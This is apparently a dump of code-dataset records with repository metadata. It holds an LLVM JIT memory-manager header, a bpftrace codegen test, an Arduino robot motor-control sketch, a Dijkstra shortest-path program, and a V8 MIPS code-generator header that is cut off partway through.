"LGPL-2.0-or-later",
"LicenseRef-scancode-philippe-de-muyter",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-intel-osl-1993",
"HPND-sell-variant",
"ICU",
"LicenseRef-scancode-protobuf",
"bzip2-1.0.6",
"Spencer-94",
"NCSA",
"LicenseRef-scancode-nilsson-historical",
"CC0-1.0",
"LicenseRef-scancode-proprietary-license",
"LGPL-2.1-only",
"LicenseRef-scancode-other-copyleft",
"GPL-2.0-or-later",
"NTP",
"GPL-2.0-only",
"LicenseRef-scancode-other-permissive",
"GPL-3.0-only",
"GFDL-1.1-only",
"W3C",
"LicenseRef-scancode-python-cwi",
"GCC-exception-3.1",
"BSL-1.0",
"Python-2.0",
"GPL-1.0-or-later",
"LGPL-2.1-or-later",
"LicenseRef-scancode-unknown-license-reference",
"CPL-1.0",
"GFDL-1.1-or-later",
"W3C-19980720",
"LGPL-2.0-only",
"LicenseRef-scancode-amd-historical",
"LicenseRef-scancode-ietf",
"SAX-PD",
"LicenseRef-scancode-x11-hanson",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"dtoa",
"MIT",
"LicenseRef-scancode-public-domain-disclaimer",
"PSF-2.0",
"LicenseRef-scancode-newlib-historical",
"LicenseRef-scancode-generic-exception",
"SMLNJ",
"HP-1986",
"LicenseRef-scancode-free-unknown",
"SunPro",
"MPL-1.1"
] |
permissive
|
webosce/chromium53
|
f8e745e91363586aee9620c609aacf15b3261540
|
9171447efcf0bb393d41d1dc877c7c13c46d8e38
|
refs/heads/webosce
| 2020-03-26T23:08:14.416858
| 2018-08-23T08:35:17
| 2018-09-20T14:25:18
| 145,513,343
| 0
| 2
|
Apache-2.0
| 2019-08-21T22:44:55
| 2018-08-21T05:52:31
| null |
UTF-8
|
C++
| false
| false
| 5,679
|
h
|
//===-- RTDyldMemoryManager.cpp - Memory manager for MC-JIT -----*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Interface of the runtime dynamic memory manager base class.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_EXECUTIONENGINE_RTDYLDMEMORYMANAGER_H
#define LLVM_EXECUTIONENGINE_RTDYLDMEMORYMANAGER_H
#include "RuntimeDyld.h"
#include "llvm-c/ExecutionEngine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CBindingWrapping.h"
#include "llvm/Support/Memory.h"
namespace llvm {
class ExecutionEngine;
namespace object {
class ObjectFile;
}
class MCJITMemoryManager : public RuntimeDyld::MemoryManager {
public:
/// This method is called after an object has been loaded into memory but
/// before relocations are applied to the loaded sections. The object load
/// may have been initiated by MCJIT to resolve an external symbol for another
/// object that is being finalized. In that case, the object about which
/// the memory manager is being notified will be finalized immediately after
/// the memory manager returns from this call.
///
/// Memory managers which are preparing code for execution in an external
/// address space can use this call to remap the section addresses for the
/// newly loaded object.
virtual void notifyObjectLoaded(ExecutionEngine *EE,
const object::ObjectFile &) {}
};
// RuntimeDyld clients often want to handle the memory management of
// what gets placed where. For JIT clients, this is the subset of
// JITMemoryManager required for dynamic loading of binaries.
//
// FIXME: As the RuntimeDyld fills out, additional routines will be needed
// for the varying types of objects to be allocated.
class RTDyldMemoryManager : public MCJITMemoryManager,
public RuntimeDyld::SymbolResolver {
RTDyldMemoryManager(const RTDyldMemoryManager&) = delete;
void operator=(const RTDyldMemoryManager&) = delete;
public:
RTDyldMemoryManager() {}
~RTDyldMemoryManager() override;
void registerEHFrames(uint8_t *Addr, uint64_t LoadAddr, size_t Size) override;
void deregisterEHFrames(uint8_t *Addr, uint64_t LoadAddr, size_t Size) override;
/// This method returns the address of the specified function or variable in
/// the current process.
static uint64_t getSymbolAddressInProcess(const std::string &Name);
/// Legacy symbol lookup - DEPRECATED! Please override findSymbol instead.
///
/// This method returns the address of the specified function or variable.
/// It is used to resolve symbols during module linking.
virtual uint64_t getSymbolAddress(const std::string &Name) {
return getSymbolAddressInProcess(Name);
}
/// This method returns a RuntimeDyld::SymbolInfo for the specified function
/// or variable. It is used to resolve symbols during module linking.
///
/// By default this falls back on the legacy lookup method:
/// 'getSymbolAddress'. The address returned by getSymbolAddress is treated as
/// a strong, exported symbol, consistent with historical treatment by
/// RuntimeDyld.
///
/// Clients writing custom RTDyldMemoryManagers are encouraged to override
/// this method and return a SymbolInfo with the flags set correctly. This is
/// necessary for RuntimeDyld to correctly handle weak and non-exported symbols.
RuntimeDyld::SymbolInfo findSymbol(const std::string &Name) override {
return RuntimeDyld::SymbolInfo(getSymbolAddress(Name),
JITSymbolFlags::Exported);
}
/// Legacy symbol lookup -- DEPRECATED! Please override
/// findSymbolInLogicalDylib instead.
///
/// Default to treating all modules as separate.
virtual uint64_t getSymbolAddressInLogicalDylib(const std::string &Name) {
return 0;
}
/// Default to treating all modules as separate.
///
/// By default this falls back on the legacy lookup method:
/// 'getSymbolAddressInLogicalDylib'. The address returned by
/// getSymbolAddressInLogicalDylib is treated as a strong, exported symbol,
/// consistent with historical treatment by RuntimeDyld.
///
/// Clients writing custom RTDyldMemoryManagers are encouraged to override
/// this method and return a SymbolInfo with the flags set correctly. This is
/// necessary for RuntimeDyld to correctly handle weak and non-exported symbols.
RuntimeDyld::SymbolInfo
findSymbolInLogicalDylib(const std::string &Name) override {
return RuntimeDyld::SymbolInfo(getSymbolAddressInLogicalDylib(Name),
JITSymbolFlags::Exported);
}
/// This method returns the address of the specified function. As such it is
/// only useful for resolving library symbols, not code generated symbols.
///
/// If \p AbortOnFailure is false and no function with the given name is
/// found, this function returns a null pointer. Otherwise, it prints a
/// message to stderr and aborts.
///
/// This function is deprecated for memory managers to be used with
/// MCJIT or RuntimeDyld. Use getSymbolAddress instead.
virtual void *getPointerToNamedFunction(const std::string &Name,
bool AbortOnFailure = true);
};
// Create wrappers for C Binding types (see CBindingWrapping.h).
DEFINE_SIMPLE_CONVERSION_FUNCTIONS(
RTDyldMemoryManager, LLVMMCJITMemoryManagerRef)
} // namespace llvm
#endif
|
[
"changhyeok.bae@lge.com"
] |
changhyeok.bae@lge.com
|
a7a610b9cd27e69cde1c6110adc3b05699fd70dd
|
595e8e8074ab634ede79fc1a8bb875f1d0bfa2b4
|
/tests/codegen/call_signal_literal.cpp
|
e9840463bab9e98341fd349a1985e265a0c2f53f
|
[
"Apache-2.0"
] |
permissive
|
alefais/bpftrace
|
79755427d77917fe92472ac38011efb18e88bffe
|
c8f4a6d821d2121360d0a39c62fd0c9a47ee9de5
|
refs/heads/master
| 2021-01-04T09:22:12.404868
| 2020-02-13T15:30:06
| 2020-02-13T17:30:15
| 240,486,338
| 1
| 0
|
Apache-2.0
| 2020-02-14T10:46:19
| 2020-02-14T10:46:18
| null |
UTF-8
|
C++
| false
| false
| 425
|
cpp
|
#include "common.h"
namespace bpftrace {
namespace test {
namespace codegen {
TEST(codegen, call_signal_literal)
{
test("k:f { signal(8); }",
R"EXPECTED(define i64 @"kprobe:f"(i8* nocapture readnone) local_unnamed_addr section "s_kprobe:f_1" {
entry:
%signal = tail call i64 inttoptr (i64 109 to i64 (i32)*)(i32 8)
ret i64 0
}
)EXPECTED", false);
}
} // namespace codegen
} // namespace test
} // namespace bpftrace
|
[
"bas@baslab.org"
] |
bas@baslab.org
|
dcb596727d7c80b4db5eddbad1b5f0beade7a73d
|
7f51976f81e1df1b84f75299a06484c7c1787c24
|
/Backend/Code/ControllerCode/MichaelControllerScriptV2/MichaelControllerScriptV2.ino
|
868fc6bc4ad7b6e6f13dcef60e99ea8d9c2b76e0
|
[] |
no_license
|
alfiethomasson/Robots-at-the-Edinburgh-International-Science-Festival
|
f8a6c8bfd24ac276b4ec7c267f93bd07f0ee52fe
|
51fc6ad7486fa5321e24b095aefa0dbf487baeaa
|
refs/heads/master
| 2023-03-18T02:04:00.041785
| 2020-04-28T18:11:34
| 2020-04-28T18:11:34
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 6,319
|
ino
|
int enableLPin = 3; // pin 1 on L293D IC
int enableRPin = 9; // pin 9 on L293D IC
int motorLPinF = 4; // pin 2 on L293D IC
int motorLPinB = 5; // pin 7 on L293D IC
int motorRPinF = 7; // pin 10 on L293D IC
int motorRPinB = 8; // pin 15 on L293D IC
int motorL = 0;
int motorR = 0;
int xReading = 0;
int yReading = 0;
//Default values in case of communication failure so the car remins stationary
int xReadingBT = 499;
int yReadingBT = 499;
//Character used to temporarily store value sent over bluetooth
char c;
//Used to store entire instructions for the car
String instruction = "";
//Temporarily store parts of the instructions of the car
String readData;
//Magnitude of velocity the car should have
float v;
int flag = 0; //makes sure that the serial only prints once the state
int stateStop = 0;
int counter = 0;
void setup() {
//in the motor pin naming scheme, L is for left, R for right, F for forwards and B for backwards
pinMode(motorLPinF, OUTPUT);
pinMode(motorLPinB, OUTPUT);
pinMode(motorRPinF, OUTPUT);
pinMode(motorRPinB, OUTPUT);
pinMode(enableLPin, OUTPUT);
pinMode(enableRPin, OUTPUT);
// initialize serial communication at 38400 bits per second:
Serial.begin(38400);
}
void loop() {
//if some date is sent, reads it and saves in state
flag=0;
while (Serial.available()>0)
{
//Reading the character sent by the controller
c = Serial.read();
//building the instruction as it receives characters
instruction+=c;
//Determines whether the character is a separator. if it isn't then it must be part of a reading
if (c!=',' && c!='E')
{
readData += c;
}
//Used to separate readings. Once it encounters this character it knows that the first reading is received
else if (c==',')
{
//if statement used to ignore any values that don't fall within the range of 0-999
if (readData.toInt() <= 999 and readData.toInt() >= 0)
{
xReadingBT = readData.toInt();
}
//wipes readData so that it is ready to receive the second reading
readData = "";
}
//the E character is used to denote the end of an instruction. This means the secod reading is received and useable
else if (c=='E')
{
if (readData.toInt() <= 999 and readData.toInt() >= 0)
{
yReadingBT = readData.toInt();
}
readData="";
//Used for
for (int i = 0; i+instruction.length() < 9; i++)
{
//Serial.print(" ");
}
//alerts the program that an instruction was successfully received
flag = 1;
//wipes instruction, ready for the next one
instruction = "";
break;
}
}
if (flag == 0)
{
//Serial.print(" ");
}
//xReading and yReading have a range of 0 - 1023, but to understand the code easier I have mapped it to the range -255 - 255
xReading = map(xReadingBT, 0, 999, -255, 255);
yReading = -(map(yReadingBT, 0, 999, -255, 255));
//Serial.print("(" + String(xReadingBT) + ", " + String(yReadingBT) + ") ");
//vRaw is the distance of the joystick from the rest position. This is used to determine the speed at which to move the robot (v).
v = sqrt(pow(yReading,2) + pow(xReading,2));
if (v>255)
{
v=255;
}
// //Different steering quadrants for the joystick
// if (xReading >= 0 && yReading >= 0)
// {
// motorL = v;
// motorR = v - xReading;
// }
//
// else if (xReading < 0 && yReading >= 0)
// {
// motorL = v + xReading;
// motorR = v;
// }
//
// else if (xReading >= 0 && yReading < 0)
// {
// motorL = -v + xReading;
// motorR = -v;
// }
//
// else if (xReading < 0 && yReading < 0)
// {
// motorL = -v;
// motorR = -v -xReading;
// }
//Different steering quadrants for the joystick
//Top quadrant
if (yReading >= xReading && yReading >= -xReading)
{
Serial.print("T ");
motorL = v;
motorR = v;
}
//Bottom quadrant
else if (yReading < xReading && yReading < -xReading)
{
Serial.print("B ");
motorL = -v;
motorR = -v;
}
//Left quadrant
else if (yReading <= -xReading && yReading >= xReading)
{
Serial.print("L ");
motorL = -v;
motorR = v;
}
//Right quadrant
else if (yReading > -xReading && yReading < xReading)
{
Serial.print("R ");
motorL = v;
motorR = -v;
}
//the joystick rests slightly off of (0,0), so this means that if it isn't more
//than 10 away from the centre then the robot should stay at rest
if (v>50)
{
//if statements to determine which pins to set
//high depending on the speed set to each motor
motorL = -motorL;
if (motorL >= 0)
{
digitalWrite(motorLPinF, HIGH);
digitalWrite(motorLPinB, LOW);
}
else if (motorL <0)
{
digitalWrite(motorLPinF, LOW);
digitalWrite(motorLPinB, HIGH);
}
if (motorR >= 0)
{
digitalWrite(motorRPinF, HIGH);
digitalWrite(motorRPinB, LOW);
}
else if (motorR <0)
{
digitalWrite(motorRPinF, LOW);
digitalWrite(motorRPinB, HIGH);
}
//used to cap the motor speed and direction between the ranges of -255 and 255
// if (abs(motorL)>=255)
// {
// motorL = 255 * motorL / abs(motorL);
// }
// if (abs(motorR)>=255)
// {
// motorR = 255 * motorR / abs(motorR);
// }
analogWrite(enableLPin, abs(motorL));
analogWrite(enableRPin, abs(motorR));
}
//makes the robot stay at rest if the joystickis at rest
else
{
digitalWrite(motorLPinF, LOW);
digitalWrite(motorLPinB, LOW);
digitalWrite(motorRPinF, LOW);
digitalWrite(motorRPinB, LOW);
motorL = 0;
motorR = 0;
}
//Used to monitor what the controller is sending vs what the car is receiving and doing
Serial.print("JOYSTICK ");
Serial.print(xReading);
Serial.print(", ");
Serial.print(yReading);
Serial.print(" ----- ");
Serial.print("MOTOR ");
Serial.print(motorL);
Serial.print(", ");
Serial.print(motorR);
Serial.print(" | ");
Serial.print(v);
Serial.println("");
}
|
[
"michael@devereux.fm"
] |
michael@devereux.fm
|
1ed8f4b5d6a4e2a6ad779452edb9e4e55cb98859
|
20c4e9987833b4dffe6d0c6802a1dc43b74ac728
|
/C and C++/Graphs/Dijkstra_adj_matrix.cpp
|
193a6287f4e0064f9c06afae8397d7d45cb13151
|
[] |
no_license
|
tg9963/CPP_files
|
c54aa57e3fdf3e3301b228f42a71a95210e71932
|
52e6da1e15c70501d290d955abfe8555261e2a34
|
refs/heads/master
| 2021-01-19T08:43:15.976534
| 2015-06-10T11:00:25
| 2015-06-10T11:00:25
| 34,978,103
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,280
|
cpp
|
#include<iostream>
#include<limits>
#define V 9
using namespace std;
int min_dist_index(int dist[],bool set[])
{
int min=INT_MAX,min_index;
for(int i=0;i<V;i++)
{
if(set[i]==false && dist[i]<min)
{
min=dist[i];
min_index=i;
}
}
return min_index;
}
void print_dist(int dist[V])
{
for(int i=0;i<V;i++)
cout<<i<<" "<<dist[i]<<endl;
}
void dijkstra(int graph[V][V])
{
int dist[V];
bool set[V];
for(int i=0;i<V;i++)
{
dist[i]=INT_MAX;
set[i]=false;
}
dist[0]=0;
for(int i=0;i<V-1;i++)
{
int m=min_dist_index(dist,set);
set[m]=true;
for(int n=0;n<V;n++)
{
if(!set[n] && graph[m][n] && dist[m]!=INT_MAX && (dist[m]+graph[m][n]<dist[n]) )
dist[n]=dist[m]+graph[m][n];
}
}
print_dist(dist);
}
int main()
{
int graph[V][V]={{0, 4, 0, 0, 0, 0, 0, 8, 0},
{4, 0, 8, 0, 0, 0, 0, 11, 0},
{0, 8, 0, 7, 0, 4, 0, 0, 2},
{0, 0, 7, 0, 9, 14, 0, 0, 0},
{0, 0, 0, 9, 0, 10, 0, 0, 0},
{0, 0, 4, 0, 10, 0, 2, 0, 0},
{0, 0, 0, 14, 0, 2, 0, 1, 6},
{8, 11, 0, 0, 0, 0, 1, 0, 7},
{0, 0, 2, 0, 0, 0, 6, 7, 0}
};
dijkstra(graph);
return 0;
}
|
[
"tg9963@gmail.com"
] |
tg9963@gmail.com
|
b4839fdfc870c19a25063d681590d4092030ba16
|
55ad9650d51a2792385d6bba6f7de9b9049309cd
|
/src/node/deps/v8/src/mips/lithium-codegen-mips.h
|
84105cae35fe0801b5db1f093e9aaa15e3cf2382
|
[
"BSD-3-Clause",
"bzip2-1.0.6",
"MIT",
"Zlib",
"ISC",
"LicenseRef-scancode-openssl",
"Apache-2.0",
"Artistic-2.0",
"NTP",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
x684867/nemesis
|
79154e26f100ed84582fe859250f86ff9d2ee282
|
c08befd674218cbec7feae766e0750d5edcdf7f5
|
refs/heads/master
| 2022-11-23T16:28:35.513741
| 2014-01-20T15:24:10
| 2014-01-20T15:24:10
| 14,059,646
| 0
| 0
|
MIT
| 2022-11-17T13:34:41
| 2013-11-02T03:11:06
|
C++
|
UTF-8
|
C++
| false
| false
| 19,559
|
h
|
// Copyright 2012 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided
// with the distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#ifndef V8_MIPS_LITHIUM_CODEGEN_MIPS_H_
#define V8_MIPS_LITHIUM_CODEGEN_MIPS_H_
#include "deoptimizer.h"
#include "mips/lithium-gap-resolver-mips.h"
#include "mips/lithium-mips.h"
#include "safepoint-table.h"
#include "scopes.h"
#include "v8utils.h"
namespace v8 {
namespace internal {
// Forward declarations.
class LDeferredCode;
class SafepointGenerator;
class LCodeGen V8_FINAL BASE_EMBEDDED {
public:
LCodeGen(LChunk* chunk, MacroAssembler* assembler, CompilationInfo* info)
: zone_(info->zone()),
chunk_(static_cast<LPlatformChunk*>(chunk)),
masm_(assembler),
info_(info),
current_block_(-1),
current_instruction_(-1),
instructions_(chunk->instructions()),
deoptimizations_(4, info->zone()),
deopt_jump_table_(4, info->zone()),
deoptimization_literals_(8, info->zone()),
inlined_function_count_(0),
scope_(info->scope()),
status_(UNUSED),
translations_(info->zone()),
deferred_(8, info->zone()),
osr_pc_offset_(-1),
last_lazy_deopt_pc_(0),
frame_is_built_(false),
safepoints_(info->zone()),
resolver_(this),
expected_safepoint_kind_(Safepoint::kSimple),
old_position_(RelocInfo::kNoPosition) {
PopulateDeoptimizationLiteralsWithInlinedFunctions();
}
// Simple accessors.
MacroAssembler* masm() const { return masm_; }
CompilationInfo* info() const { return info_; }
Isolate* isolate() const { return info_->isolate(); }
Factory* factory() const { return isolate()->factory(); }
Heap* heap() const { return isolate()->heap(); }
Zone* zone() const { return zone_; }
int LookupDestination(int block_id) const {
return chunk()->LookupDestination(block_id);
}
bool IsNextEmittedBlock(int block_id) const {
return LookupDestination(block_id) == GetNextEmittedBlock();
}
bool NeedsEagerFrame() const {
return GetStackSlotCount() > 0 ||
info()->is_non_deferred_calling() ||
!info()->IsStub() ||
info()->requires_frame();
}
bool NeedsDeferredFrame() const {
return !NeedsEagerFrame() && info()->is_deferred_calling();
}
RAStatus GetRAState() const {
return frame_is_built_ ? kRAHasBeenSaved : kRAHasNotBeenSaved;
}
// Support for converting LOperands to assembler types.
// LOperand must be a register.
Register ToRegister(LOperand* op) const;
// LOperand is loaded into scratch, unless already a register.
Register EmitLoadRegister(LOperand* op, Register scratch);
// LOperand must be a double register.
DoubleRegister ToDoubleRegister(LOperand* op) const;
// LOperand is loaded into dbl_scratch, unless already a double register.
DoubleRegister EmitLoadDoubleRegister(LOperand* op,
FloatRegister flt_scratch,
DoubleRegister dbl_scratch);
int32_t ToRepresentation(LConstantOperand* op, const Representation& r) const;
int32_t ToInteger32(LConstantOperand* op) const;
Smi* ToSmi(LConstantOperand* op) const;
double ToDouble(LConstantOperand* op) const;
Operand ToOperand(LOperand* op);
MemOperand ToMemOperand(LOperand* op) const;
// Returns a MemOperand pointing to the high word of a DoubleStackSlot.
MemOperand ToHighMemOperand(LOperand* op) const;
bool IsInteger32(LConstantOperand* op) const;
bool IsSmi(LConstantOperand* op) const;
Handle<Object> ToHandle(LConstantOperand* op) const;
// Try to generate code for the entire chunk, but it may fail if the
// chunk contains constructs we cannot handle. Returns true if the
// code generation attempt succeeded.
bool GenerateCode();
// Finish the code by setting stack height, safepoint, and bailout
// information on it.
void FinishCode(Handle<Code> code);
void DoDeferredNumberTagD(LNumberTagD* instr);
enum IntegerSignedness { SIGNED_INT32, UNSIGNED_INT32 };
void DoDeferredNumberTagI(LInstruction* instr,
LOperand* value,
IntegerSignedness signedness);
void DoDeferredTaggedToI(LTaggedToI* instr);
void DoDeferredMathAbsTaggedHeapNumber(LMathAbs* instr);
void DoDeferredStackCheck(LStackCheck* instr);
void DoDeferredStringCharCodeAt(LStringCharCodeAt* instr);
void DoDeferredStringCharFromCode(LStringCharFromCode* instr);
void DoDeferredAllocate(LAllocate* instr);
void DoDeferredInstanceOfKnownGlobal(LInstanceOfKnownGlobal* instr,
Label* map_check);
void DoDeferredInstanceMigration(LCheckMaps* instr, Register object);
// Parallel move support.
void DoParallelMove(LParallelMove* move);
void DoGap(LGap* instr);
MemOperand PrepareKeyedOperand(Register key,
Register base,
bool key_is_constant,
int constant_key,
int element_size,
int shift_size,
int additional_index,
int additional_offset);
// Emit frame translation commands for an environment.
void WriteTranslation(LEnvironment* environment, Translation* translation);
// Declare methods that deal with the individual node types.
#define DECLARE_DO(type) void Do##type(L##type* node);
LITHIUM_CONCRETE_INSTRUCTION_LIST(DECLARE_DO)
#undef DECLARE_DO
private:
enum Status {
UNUSED,
GENERATING,
DONE,
ABORTED
};
bool is_unused() const { return status_ == UNUSED; }
bool is_generating() const { return status_ == GENERATING; }
bool is_done() const { return status_ == DONE; }
bool is_aborted() const { return status_ == ABORTED; }
StrictModeFlag strict_mode_flag() const {
return info()->is_classic_mode() ? kNonStrictMode : kStrictMode;
}
LPlatformChunk* chunk() const { return chunk_; }
Scope* scope() const { return scope_; }
HGraph* graph() const { return chunk()->graph(); }
Register scratch0() { return kLithiumScratchReg; }
Register scratch1() { return kLithiumScratchReg2; }
DoubleRegister double_scratch0() { return kLithiumScratchDouble; }
int GetNextEmittedBlock() const;
LInstruction* GetNextInstruction();
void EmitClassOfTest(Label* if_true,
Label* if_false,
Handle<String> class_name,
Register input,
Register temporary,
Register temporary2);
int GetStackSlotCount() const { return chunk()->spill_slot_count(); }
void Abort(BailoutReason reason);
void FPRINTF_CHECKING Comment(const char* format, ...);
void AddDeferredCode(LDeferredCode* code) { deferred_.Add(code, zone()); }
// Code generation passes. Returns true if code generation should
// continue.
bool GeneratePrologue();
bool GenerateBody();
bool GenerateDeferredCode();
bool GenerateDeoptJumpTable();
bool GenerateSafepointTable();
// Generates the custom OSR entrypoint and sets the osr_pc_offset.
void GenerateOsrPrologue();
enum SafepointMode {
RECORD_SIMPLE_SAFEPOINT,
RECORD_SAFEPOINT_WITH_REGISTERS_AND_NO_ARGUMENTS
};
void CallCode(Handle<Code> code,
RelocInfo::Mode mode,
LInstruction* instr);
void CallCodeGeneric(Handle<Code> code,
RelocInfo::Mode mode,
LInstruction* instr,
SafepointMode safepoint_mode);
void CallRuntime(const Runtime::Function* function,
int num_arguments,
LInstruction* instr);
void CallRuntime(Runtime::FunctionId id,
int num_arguments,
LInstruction* instr) {
const Runtime::Function* function = Runtime::FunctionForId(id);
CallRuntime(function, num_arguments, instr);
}
void CallRuntimeFromDeferred(Runtime::FunctionId id,
int argc,
LInstruction* instr);
enum A1State {
A1_UNINITIALIZED,
A1_CONTAINS_TARGET
};
// Generate a direct call to a known function. Expects the function
// to be in a1.
void CallKnownFunction(Handle<JSFunction> function,
int formal_parameter_count,
int arity,
LInstruction* instr,
CallKind call_kind,
A1State a1_state);
void LoadHeapObject(Register result, Handle<HeapObject> object);
void RecordSafepointWithLazyDeopt(LInstruction* instr,
SafepointMode safepoint_mode);
void RegisterEnvironmentForDeoptimization(LEnvironment* environment,
Safepoint::DeoptMode mode);
void DeoptimizeIf(Condition condition,
LEnvironment* environment,
Deoptimizer::BailoutType bailout_type,
Register src1 = zero_reg,
const Operand& src2 = Operand(zero_reg));
void DeoptimizeIf(Condition condition,
LEnvironment* environment,
Register src1 = zero_reg,
const Operand& src2 = Operand(zero_reg));
void ApplyCheckIf(Condition condition,
LBoundsCheck* check,
Register src1 = zero_reg,
const Operand& src2 = Operand(zero_reg));
void AddToTranslation(LEnvironment* environment,
Translation* translation,
LOperand* op,
bool is_tagged,
bool is_uint32,
int* object_index_pointer,
int* dematerialized_index_pointer);
void RegisterDependentCodeForEmbeddedMaps(Handle<Code> code);
void PopulateDeoptimizationData(Handle<Code> code);
int DefineDeoptimizationLiteral(Handle<Object> literal);
void PopulateDeoptimizationLiteralsWithInlinedFunctions();
Register ToRegister(int index) const;
DoubleRegister ToDoubleRegister(int index) const;
void EmitIntegerMathAbs(LMathAbs* instr);
// Support for recording safepoint and position information.
void RecordSafepoint(LPointerMap* pointers,
Safepoint::Kind kind,
int arguments,
Safepoint::DeoptMode mode);
void RecordSafepoint(LPointerMap* pointers, Safepoint::DeoptMode mode);
void RecordSafepoint(Safepoint::DeoptMode mode);
void RecordSafepointWithRegisters(LPointerMap* pointers,
int arguments,
Safepoint::DeoptMode mode);
void RecordSafepointWithRegistersAndDoubles(LPointerMap* pointers,
int arguments,
Safepoint::DeoptMode mode);
void RecordPosition(int position);
void RecordAndUpdatePosition(int position);
static Condition TokenToCondition(Token::Value op, bool is_unsigned);
void EmitGoto(int block);
template<class InstrType>
void EmitBranch(InstrType instr,
Condition condition,
Register src1,
const Operand& src2);
template<class InstrType>
void EmitBranchF(InstrType instr,
Condition condition,
FPURegister src1,
FPURegister src2);
template<class InstrType>
void EmitFalseBranchF(InstrType instr,
Condition condition,
FPURegister src1,
FPURegister src2);
void EmitCmpI(LOperand* left, LOperand* right);
void EmitNumberUntagD(Register input,
DoubleRegister result,
bool allow_undefined_as_nan,
bool deoptimize_on_minus_zero,
LEnvironment* env,
NumberUntagDMode mode);
// Emits optimized code for typeof x == "y". Modifies input register.
// Returns the condition on which a final split to
// true and false label should be made, to optimize fallthrough.
// Returns two registers in cmp1 and cmp2 that can be used in the
// Branch instruction after EmitTypeofIs.
Condition EmitTypeofIs(Label* true_label,
Label* false_label,
Register input,
Handle<String> type_name,
Register& cmp1,
Operand& cmp2);
// Emits optimized code for %_IsObject(x). Preserves input register.
// Returns the condition on which a final split to
// true and false label should be made, to optimize fallthrough.
Condition EmitIsObject(Register input,
Register temp1,
Register temp2,
Label* is_not_object,
Label* is_object);
// Emits optimized code for %_IsString(x). Preserves input register.
// Returns the condition on which a final split to
// true and false label should be made, to optimize fallthrough.
Condition EmitIsString(Register input,
Register temp1,
Label* is_not_string,
SmiCheck check_needed);
// Emits optimized code for %_IsConstructCall().
// Caller should branch on equal condition.
void EmitIsConstructCall(Register temp1, Register temp2);
// Emits optimized code to deep-copy the contents of statically known
// object graphs (e.g. object literal boilerplate).
void EmitDeepCopy(Handle<JSObject> object,
Register result,
Register source,
int* offset,
AllocationSiteMode mode);
// Emit optimized code for integer division.
// Inputs are signed.
// All registers are clobbered.
// If 'remainder' is no_reg, it is not computed.
void EmitSignedIntegerDivisionByConstant(Register result,
Register dividend,
int32_t divisor,
Register remainder,
Register scratch,
LEnvironment* environment);
void EnsureSpaceForLazyDeopt();
void DoLoadKeyedExternalArray(LLoadKeyed* instr);
void DoLoadKeyedFixedDoubleArray(LLoadKeyed* instr);
void DoLoadKeyedFixedArray(LLoadKeyed* instr);
void DoStoreKeyedExternalArray(LStoreKeyed* instr);
void DoStoreKeyedFixedDoubleArray(LStoreKeyed* instr);
void DoStoreKeyedFixedArray(LStoreKeyed* instr);
Zone* zone_;
LPlatformChunk* const chunk_;
MacroAssembler* const masm_;
CompilationInfo* const info_;
int current_block_;
int current_instruction_;
const ZoneList<LInstruction*>* instructions_;
ZoneList<LEnvironment*> deoptimizations_;
ZoneList<Deoptimizer::JumpTableEntry> deopt_jump_table_;
ZoneList<Handle<Object> > deoptimization_literals_;
int inlined_function_count_;
Scope* const scope_;
Status status_;
TranslationBuffer translations_;
ZoneList<LDeferredCode*> deferred_;
int osr_pc_offset_;
int last_lazy_deopt_pc_;
bool frame_is_built_;
// Builder that keeps track of safepoints in the code. The table
// itself is emitted at the end of the generated code.
SafepointTableBuilder safepoints_;
// Compiler from a set of parallel moves to a sequential list of moves.
LGapResolver resolver_;
Safepoint::Kind expected_safepoint_kind_;
int old_position_;
class PushSafepointRegistersScope V8_FINAL BASE_EMBEDDED {
public:
PushSafepointRegistersScope(LCodeGen* codegen,
Safepoint::Kind kind)
: codegen_(codegen) {
ASSERT(codegen_->info()->is_calling());
ASSERT(codegen_->expected_safepoint_kind_ == Safepoint::kSimple);
codegen_->expected_safepoint_kind_ = kind;
switch (codegen_->expected_safepoint_kind_) {
case Safepoint::kWithRegisters:
codegen_->masm_->PushSafepointRegisters();
break;
case Safepoint::kWithRegistersAndDoubles:
codegen_->masm_->PushSafepointRegistersAndDoubles();
break;
default:
UNREACHABLE();
}
}
~PushSafepointRegistersScope() {
Safepoint::Kind kind = codegen_->expected_safepoint_kind_;
ASSERT((kind & Safepoint::kWithRegisters) != 0);
switch (kind) {
case Safepoint::kWithRegisters:
codegen_->masm_->PopSafepointRegisters();
break;
case Safepoint::kWithRegistersAndDoubles:
codegen_->masm_->PopSafepointRegistersAndDoubles();
break;
default:
UNREACHABLE();
}
